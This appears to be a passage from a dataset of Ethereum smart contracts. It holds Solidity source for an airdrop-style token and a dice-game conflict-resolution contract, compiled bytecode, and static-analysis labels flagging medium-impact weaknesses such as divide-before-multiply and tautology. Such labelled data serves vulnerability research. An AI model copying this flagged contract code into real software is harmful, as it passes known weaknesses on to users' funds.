return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){
ForeignToken t = ForeignToken(tokenAddress);
uint256 bal = t.balanceOf(who);
return bal;
}
function withdraw(address receiveAddress) onlyOwner public {
uint256 etherBalance = address(this).balance;
if(!receiveAddress.send(etherBalance))revert();
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x60606040526004361061020f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610219578063095ea7b3146102a757806314ffbafc1461030157806318160ddd1461032e5780631d3795e814610357578063227a79111461038457806323b872dd146103ad57806326e770e914610426578063313ce567146104b457806342966c68146104e3578063502dadb01461050657806351cff8d9146105605780636d4ce63c1461059957806370a08231146105a3578063781c0db4146105f0578063829c34281461061d5780638da5cb5b1461064a578063902025bd1461069f57806395d89b41146106c85780639b1cbccc146107565780639c09c835146107835780639e340ffb146107dd578063a1d252051461080a578063a6f9dae114610833578063a8c310d51461086c578063a9059cbb14610906578063bc2d10f114610960578063be45fd621461098d578063c108d54214610a2a578063c489744b14610a57578063c73997b114610ac3578063cbbe974b14610b10578063d83623dd14610b5d578063d8a5436014610b8a578063dd62ed3e14610bb3578063df68c1a214610c1f578063e58fc54c14610c4c578063e7f9e40814610c9d578063efca2eed14610cca578063f34186c814610cf3578063f3e4877c14610d20578063f6368f8a14610d83578063f9f92be414610e63575b610217610eb4565b005b341561022457600080fd5b61022c611186565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561026c578082015181840152602081019050610251565b50505050905090810190601f1680156102995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102b257600080fd5b6102e7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061122e565b604051808215151515815260200191505060405180910390f35b341561030c57600080fd5b610314611320565b604051808215151515815260200191505060405180910390f35b341561033957600080fd5b6103416113bb565b6040518082815260200191505060405180910390f35b341561036257600080fd5b61036a6113c5565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b610397611460565b6040518082815260200191505060405180910390f35b34156103b857600080fd5b61040c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611466565b604051808215151515815260200191505060405180910390f35b341561043157600080fd5b610439611906565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047957808201518184015260208101905061045e565b50505050905090810190601f1680156104a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104bf57600080fd5b6104c76119a4565b604051808260ff1660ff16815260200191505060405180910390f35b34156104ee57600080fd5b61050460048080359060200190919050506119bb565b005b341561051157600080fd5b61055e600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611b86565b005b341561056b57600080fd5b610597600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c88565b005b6105a1610eb4565b005b34156105ae57600080fd5b6105da600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d43565b6040518082815260200191505060405180910390f35b34156105fb57600080fd5b610603611d8c565b604051808215151515815260200191505060405180910390f35b341561062857600080fd5b610630611e27565b604051808215151515815260200191505060405180910390f35b341561065557600080fd5b61065d611ea6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106aa57600080fd5b6106b2611ecb565b6040518082815260200191505060405180910390f35b34156106d357600080fd5b6106db611ed1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561071b578082015181840152602081019050610700565b50505050905090810190601f1680156107485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561076157600080fd5b610769611f79565b604051808215151515815260200191505060405180910390f35b341561078e57600080fd5b6107db600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050612014565b005b34156107e857600080fd5b6107f0612116565b604051808215151515815260200191505060405180910390f35b341561081557600080fd5b61081d612129565b6040518082815260200191505060405180910390f35b341561083e57600080fd5b61086a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061212f565b005b341561087757600080fd5b61090460048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050612204565b005b341561091157600080fd5b610946600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612354565b604051808215151515815260200191505060405180910390f35b341561096b57600080fd5b6109736123b5565b604051808215151515815260200191505060405180910390f35b341561099857600080fd5b610a10600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612450565b604051808215151515815260200191505060405180910390f35b3415610a3557600080fd5b610a3d6124a9565b604051808215151515815260200191505060405180910390f35b3415610a6257600080fd5b610aad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506124bc565b6040518082815260200191505060405180910390f35b3415610ace57600080fd5b610af66004808035906020019091908035906020019091908035906020019091905050612582565b604051808215151515815260200191505060405180910390f35b3415610b1b57600080fd5b610b47600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506125ff565b6040518082815260200191505060405180910390f35b3415610b6857600080fd5b610b70612617565b604051808215151515815260200191505060405180910390f35b3415610b9557600080fd5b610b9d612696565b6040518082815260200191505060405180910390f35b3415610bbe57600080fd5b610c09600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061269c565b6040518082815260200191505060405180910390f35b3415610c2a57600080fd5b610c32612723565b604051808215151515815260200191505060405180910390f35b3415610c5757600080fd5b610c83600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612736565b604051808215151515815260200191505060405180910390f35b3415610ca857600080fd5b610cb061292f565b604051808215151515815260200191505060405180910390f35b3415610cd557600080fd5b610cdd6129ae565b6040518082815260200191505060405180910390f35b3415610cfe57600080fd5b610d066129b4565b604051808215151515815260200191505060405180910390f35b3415610d2b57600080fd5b610d816004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190919050506129c7565b005b3415610d8e57600080fd5b610e49600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ae4565b604051808215151515815260200191505060405180910390f35b3415610e6e57600080fd5b610e9a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612f1e565b604051808215151515815260200191505060405180910390f35b600080600080601060009054906101000a900460ff16151515610ed657600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610f3557600080fd5b600c54600e541115610f4b57600c54600e819055505b3393503492503a9050600f548311156110585760001515601060029054906101000a900460ff161515141515610f8057600080fd5b610f9560095484612f3e90919063ffffffff16565b9150610fd4610fc5610fb46305f5e10084612f7190919063ffffffff16565b600e54612f3e90919063ffffffff16565b83612f8c90919063ffffffff16565b9150600c548211151515610fe757600080fd5b610ff18483612faa565b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050151561105357600080fd5b611157565b60001515601060019054906101000a900460ff16151514801561107f5750600c54600e5411155b80156110ca5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544210155b15156110d557600080fd5b6111006110ef6305f5e10083612f7190919063ffffffff16565b600e54612f3e90919063ffffffff16565b915061110c8483612faa565b50620151804201600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a54600d54101515611180576001601060006101000a81548160ff0219169083151502179055505b50505050565b61118e613768565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112245780601f106111f957610100808354040283529160200191611224565b820191906000526020600020905b81548152906001019060200180831161120757829003601f168201915b5050505050905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137d57600080fd5b601060009054906101000a900460ff1615151561139957600080fd5b6000601060026101000a81548160ff0219169083151502179055506001905090565b6000600a54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561142257600080fd5b601060009054906101000a900460ff1615151561143e57600080fd5b6000601060016101000a81548160ff0219169083151502179055506001905090565b60095481565b600060011515600860019054906101000a900460ff16151514151561148a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114c75750600082115b8015611512575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561159a575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156115f6575060001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611652575060001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561165d57600080fd5b6116af82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061174482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561199c5780601f106119715761010080835404028352916020019161199c565b820191906000526020600020905b81548152906001019060200180831161197f57829003601f168201915b505050505081565b6000600860009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a1857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a6657600080fd5b339050611abb82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312690919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1382600a5461312690919063ffffffff16565b600a81905550611b2e82600d5461312690919063ffffffff16565b600d819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611be357600080fd5b60ff825111151515611bf457600080fd5b600090505b81518160ff161015611c8457600160036000848460ff16815181101515611c1c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611bf9565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163190508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611d3f57600080fd5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611de957600080fd5b601060009054906101000a900460ff16151515611e0557600080fd5b6001601060016101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e8457600080fd5b6001600860016101000a81548160ff0219169083151502179055506001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b611ed9613768565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f6f5780601f10611f4457610100808354040283529160200191611f6f565b820191906000526020600020905b815481529060010190602001808311611f5257829003601f168201915b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fd657600080fd5b601060009054906101000a900460ff16151515611ff257600080fd5b6001601060006101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561207157600080fd5b60ff82511115151561208257600080fd5b600090505b81518160ff16101561211257600060036000848460ff168151811015156120aa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612087565b5050565b601060019054906101000a900460ff1681565b600f5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561218a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561220157806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561226157600080fd5b601060009054906101000a900460ff1615151561227d57600080fd5b60ff83511115151561228e57600080fd5b8151835114151561229e57600080fd5b600090505b82518160ff16101561234f57600c54828260ff168151811015156122c357fe5b90602001906020020151111515156122da57600080fd5b612318838260ff168151811015156122ee57fe5b90602001906020020151838360ff1681518110151561230957fe5b90602001906020020151612faa565b50600a54600d54101515612342576001601060006101000a81548160ff0219169083151502179055505b80806001019150506122a3565b505050565b600061235e61377c565b60011515600860019054906101000a900460ff16151514151561238057600080fd5b6123898461313f565b156123a057612399848483613152565b91506123ae565b6123ab8484836134ef565b91505b5092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561241257600080fd5b601060009054906101000a900460ff1615151561242e57600080fd5b6001601060026101000a81548160ff0219169083151502179055506001905090565b600060011515600860019054906101000a900460ff16151514151561247457600080fd5b61247d8461313f565b156124945761248d848484613152565b90506124a2565b61249f8484846134ef565b90505b9392505050565b601060009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561255e57600080fd5b5af1151561256b57600080fd5b505050604051805190509050809250505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125df57600080fd5b83600e819055508260098190555081600f81905550600190509392505050565b60046020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561267457600080fd5b6000601060006101000a81548160ff0219169083151502179055506001905090565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860019054906101000a900460ff1681565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561279657600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561283357600080fd5b5af1151561284057600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561290f57600080fd5b5af1151561291c57600080fd5b5050506040518051905092505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561298c57600080fd5b6000600860016101000a81548160ff0219169083151502179055506001905090565b600d5481565b601060029054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a2457600080fd5b601060009054906101000a900460ff16151515612a4057600080fd5b60ff835111151515612a5157600080fd5b600c548211151515612a6257600080fd5b600090505b82518160ff161015612ab657600c548211151515612a8457600080fd5b612aa8838260ff16815181101515612a9857fe5b9060200190602002015183612faa565b508080600101915050612a67565b600a54600d54101515612adf576001601060006101000a81548160ff0219169083151502179055505b505050565b600060011515600860019054906101000a900460ff161515141515612b0857600080fd5b612b118561313f565b15612f085783612b2033611d43565b1015612b2b57600080fd5b612b7d84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c1284600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8c90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b602083101515612ca45780518252602082019150602081019050602083039250612c7f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b83811015612d85578082015181840152602081019050612d6a565b50505050905090810190601f168015612db25780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515612dd257fe5b826040518082805190602001908083835b602083101515612e085780518252602082019150602081019050602083039250612de3565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612f16565b612f138585856134ef565b90505b949350505050565b60036020528060005260406000206000915054906101000a900460ff1681565b60008082840290506000841480612f5f5750828482811515612f5c57fe5b04145b1515612f6757fe5b8091505092915050565b6000808284811515612f7f57fe5b0490508091505092915050565b6000808284019050838110151515612fa057fe5b8091505092915050565b6000601060009054906101000a900460ff16151515612fc857600080fd5b6000600c5410151515612fda57600080fd5b600c548211151515612feb57600080fd5b61300082600d54612f8c90919063ffffffff16565b600d8190555061301b82600c5461312690919063ffffffff16565b600c8190555061307382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561313457fe5b818303905092915050565b600080823b905060008111915050919050565b6000808361315f33611d43565b101561316a57600080fd5b6131bc84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325184600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8c90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561335957808201518184015260208101905061333e565b50505050905090810190601f1680156133865780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156133a657600080fd5b5af115156133b357600080fd5b505050826040518082805190602001908083835b6020831015156133ec57805182526020820191506020810190506020830392506133c7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b6000826134fb33611d43565b101561350657600080fd5b61355883600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135ed83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b6020831015156136665780518252602082019150602081019050602083039250613641565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820289c6b0a5007fd8d8dd891dacdd366d6f2dd588819391f62084c1f2be499f0670029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,541 |
0x7e4d9a47477ea0ad97971595957d52cc0f58d991 | pragma solidity ^0.4.18;
interface ConflictResolutionInterface {
function minHouseStake(uint activeGames) public pure returns(uint);
function maxBalance() public pure returns(int);
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) public pure returns(bool);
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _playerSeed
)
public
view
returns(int);
function serverForceGameEnd(
uint8 gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
returns(int);
function playerForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
returns(int);
}
contract ConflictResolution is ConflictResolutionInterface {
uint public constant DICE_RANGE = 100;
uint public constant HOUSE_EDGE = 150;
uint public constant HOUSE_EDGE_DIVISOR = 10000;
uint public constant SERVER_TIMEOUT = 2 days;
uint public constant PLAYER_TIMEOUT = 1 days;
uint8 public constant GAME_TYPE_DICE = 1;
uint public constant MAX_BET_VALUE = 1e16; /// max 0.01 ether bet
uint public constant MIN_BET_VALUE = 1e13; /// min 0.00001 ether bet
int public constant NOT_ENDED_FINE = 1e15; /// 0.001 ether
int public constant MAX_BALANCE = int(MAX_BET_VALUE) * 100 * 5;
modifier onlyValidBet(uint8 _gameType, uint _betNum, uint _betValue) {
require(isValidBet(_gameType, _betNum, _betValue));
_;
}
modifier onlyValidBalance(int _balance, uint _gameStake) {
// safe to cast gameStake as range is fixed
require(-int(_gameStake) <= _balance && _balance < MAX_BALANCE);
_;
}
/**
* @dev Check if bet is valid.
* @param _gameType Game type.
* @param _betNum Number of bet.
* @param _betValue Value of bet.
* @return True if bet is valid false otherwise.
*/
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) public pure returns(bool) {
return (
(_gameType == GAME_TYPE_DICE) &&
(_betNum > 0 && _betNum < DICE_RANGE) &&
(MIN_BET_VALUE <= _betValue && _betValue <= MAX_BET_VALUE)
);
}
/**
* @return Max balance.
*/
function maxBalance() public pure returns(int) {
return MAX_BALANCE;
}
/**
* Calculate minimum needed house stake.
*/
function minHouseStake(uint activeGames) public pure returns(uint) {
return MathUtil.min(activeGames, 1) * MAX_BET_VALUE * 400;
}
/**
* @dev Calculates game result and returns new balance.
* @param _gameType Type of game.
* @param _betNum Bet number.
* @param _betValue Value of bet.
* @param _balance Current balance.
* @param _serverSeed Server's seed of current round.
* @param _playerSeed Player's seed of current round.
* @return New game session balance.
*/
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _playerSeed
)
public
view
onlyValidBet(_gameType, _betNum, _betValue)
onlyValidBalance(_balance, _stake)
returns(int)
{
assert(_serverSeed != 0 && _playerSeed != 0);
int newBalance = processDiceBet(_betNum, _betValue, _balance, _serverSeed, _playerSeed);
// do not allow balance below player stake
int stake = int(_stake);
if (newBalance < -stake) {
newBalance = -stake;
}
return newBalance;
}
/**
* @dev Force end of game if player does not respond. Only possible after a time period.
* to give the player a chance to respond.
* @param _gameType Game type.
* @param _betNum Bet number.
* @param _betValue Bet value.
* @param _balance Current balance.
* @param _stake Player stake.
* @param _endInitiatedTime Time server initiated end.
* @return New game session balance.
*/
function serverForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
